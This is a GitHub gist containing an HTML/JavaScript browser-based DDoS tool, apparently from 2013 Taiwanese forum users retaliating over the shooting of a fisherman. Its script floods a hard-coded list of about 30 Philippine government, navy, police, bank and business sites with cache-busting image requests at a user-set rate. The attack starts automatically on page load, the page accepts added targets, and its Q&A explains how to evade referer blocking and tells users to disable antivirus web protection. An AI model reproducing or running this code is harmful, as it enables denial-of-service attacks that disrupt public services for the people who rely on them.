Skip to content

Instantly share code, notes, and snippets.

@imZack
Created May 10, 2013 13:19
Show Gist options
  • Save imZack/5554337 to your computer and use it in GitHub Desktop.
Save imZack/5554337 to your computer and use it in GitHub Desktop.
鄉民 DDoS 工具 介面漂亮版
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>鍵盤開戰 復刻 PTTATK</title>
<link href="https://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.1/css/bootstrap-combined.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="masthead">
<h3 class="muted">鍵盤開戰</h3>
</div>
<hr>
<div class="hero">
<h1>你還在忍耐嗎?</h1>
<ul><li>
<a target="_blank" href="http://www.appledaily.com.tw/realtimenews/article/international/20130510/179102/%E6%88%91%E6%BC%81%E8%88%B9%E9%81%AD%E9%96%8B%E6%A7%8D%E3%80%80%E8%8F%B2%E5%BE%8B%E8%B3%93%E5%90%8C%E6%83%85%E3%80%8C%E4%B8%8D%E9%81%93%E6%AD%89%E3%80%8D">我漁船遭開槍 菲律賓同情「不道歉」</a>
</li></ul>
<ul><li>
<a target="_blank" href="http://newtalk.tw/news_read.php?oid=36316">菲開34槍射殺台漁民 馬英九:不善罷甘休 </a>
</li></ul>
<ul><li>
<a target="_blank" href="http://newtalk.tw/news_read.php?oid=36326">洪石成家屬悲痛 要政府討公道</a>
</li></ul>
<ul><li>
<a target="_blank" href="http://newtalk.tw/discussion_list.php?oid=181">更多</a>
</li></ul>
<h2>Q And A</h2>
<pre>
Q1:關於會不會一直有效的問題
只要是網站, 還是會存在referer的問題
也就是他會去看你的流量來源, 像這個網址就是dl.dropbox blablabla開頭
對方網管只要看到referer是dl.dropbox就擋掉, 那就沒問題了
解法也很簡單, 自己找一個hostname架上去, 或者是自己把html下載下來打開
這樣就不會有referer的問題, 就只剩下ban IP的解法了,
開大決就是把台灣網段的IP全擋掉這樣
Q2: 到底怎麼確定她是有在跑
你可以看狀態列, 或者是chrome的話可以按F12看看有沒有在抓東西
Q3: 改太快有沒有用
這數字看你的網卡、瀏覽器實做、CPU能力、防毒軟體/防火牆設定
沒有一定, 但我可以跟你保證太快絕對沒有比較好XD
</pre>
</div>
<hr>
<div class="alert alert-danger">請注意, 有小紅傘的話記得關掉web Protection, 不然有機會當掉
<a class="close" data-dismiss="alert" href="#">&times;</a>
</div>
<h2>攻擊參數</h2>
<p>
攻擊 <input type="text" id="sec" value="1.5"> 秒 / 次
<button id="btn-rate" class="btn btn-primary">修改</button>
</p>
<h2>攻擊網站清單</h2>
<p>
<input type="text" id="addurl"><button class="btn btn-success" onclick="addUrl()">新增網站</button>
</p>
<table>
<tbody id="sites"></tbody>
</table>
<hr>
<div id="board"></div>
<div class="footer">
<p>&copy; 鄉民 2013</p>
</div>
</div> <!-- /container -->
<script id="t-img" type="text/template">
<img style="display: none;" id="img-<%= i %>" src="<%= url %>" />
</script>
<script id="t-sites" type="text/template">
<% _.each(sites, function (site) { %>
<tr>
<td><%= site.url %></td>
<td>打了 <%= site.requested %> 次</td>
<td><button onclick="toggleStop(<%= site.id %>)" class="btn btn-<%= site.disabled ? "success" : "danger" %>"><%= site.disabled ? "啟用" : "停用" %></td>
</tr>
<% }); %>
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script src="https://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.1/js/bootstrap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.4.4/underscore-min.js"></script>
<!--script src="https://cdnjs.cloudflare.com/ajax/libs/backbone.js/1.0.0/backbone-min.js"></script-->
<script type="text/javascript">
var target_domain_name = [
'http://www.gov.ph',
'http://www.coastguard.gov.ph',
'http://www.pse.com.ph',
'http://www.peza.gov.ph',
'http://www.neda.gov.ph',
'http://www.bir.gov.ph',
'http://www.senate.gov.ph',
'http://www.navy.mil.ph',
'http://pmc.navy.mil.ph',
'http://www.dti.gov.ph',
'http://www.boi.gov.ph',
'http://www.doj.gov.ph',
'http://www.president.gov.ph',
'http://www.dti.gov.ph',
'http://www.taiwanoffice.org.ph',
'http://www.wtcmanila.com.ph',
'http://www.philippinechamber.com',
'http://www.tourism.gov.ph',
'http://www.bsp.gov.ph',
'http://pnp.gov.ph',
'http://maintenance.president.gov.ph',
'http://www.dilg.gov.ph',
'http://www.dole.gov.ph',
'http://www.immigration.gov.ph',
'http://www.deped.gov.ph',
'http://www.dost.gov.ph',
'http://www.pnr.gov.ph',
'http://www.pna.gov.ph',
'http://www.pnb.com.ph',
'http://www.dbp.ph'
];
$(function () {
var board = $('#board'),
disabledSite = {},
requested = {},
T_img = _.template($('#t-img').html()),
T_tbody = _.template($('#t-sites').html()),
rate = 1500,
timeoutObj = null;
var iframe_refresh = function (i, url) {
i = i.toString();
var random_token = Math.random();
url += "/?" + random_token.toString(16).substr(2) + '=' + random_token.toString().substr(2);
if ($('#img-' + i).length == 0) {
board.append(T_img({i: i, url: url}));
} else {
var dom = $('#img-' + i);
dom.attr('src', url);
}
};
var ddos = function () {
_.each(target_domain_name, function (url, i) {
if (typeof disabledSite[i] == 'undefined'
|| !disabledSite[i]) {
iframe_refresh(i, url);
if (!requested[i])
requested[i] = 0;
requested[i]++;
}
});
render_table();
timeoutObj = setTimeout(ddos, rate);
};
var render_table = function () {
var data = [];
_.each(target_domain_name, function (url, i) {
var row = {};
row['url'] = url;
row['id'] = i;
row['requested'] = requested[i];
if (typeof disabledSite[i] == 'undefined'
|| !disabledSite[i]) {
row['disabled'] = false;
} else {
row['disabled'] = true;
}
data.push(row);
});
$('#sites').html(T_tbody({sites: data}));
};
window.toggleStop = function (id) {
if (disabledSite[id]) {
disabledSite[id] = false;
} else {
disabledSite[id] = true;
}
render_table();
}
window.addUrl = function () {
var url = $('#addurl').val();
target_domain_name.push(url);
}
$('#btn-rate').click(function () {
rate = parseFloat($('#sec').val(), 10) * 1000;
if ( isNaN(rate) ) {
rate = 1500;
}
if (timeoutObj)
clearTimeout(timeoutObj);
ddos();
});
ddos();
render_table();
});
</script>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-40814302-1', 'dropboxusercontent.com');
ga('send', 'pageview');
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment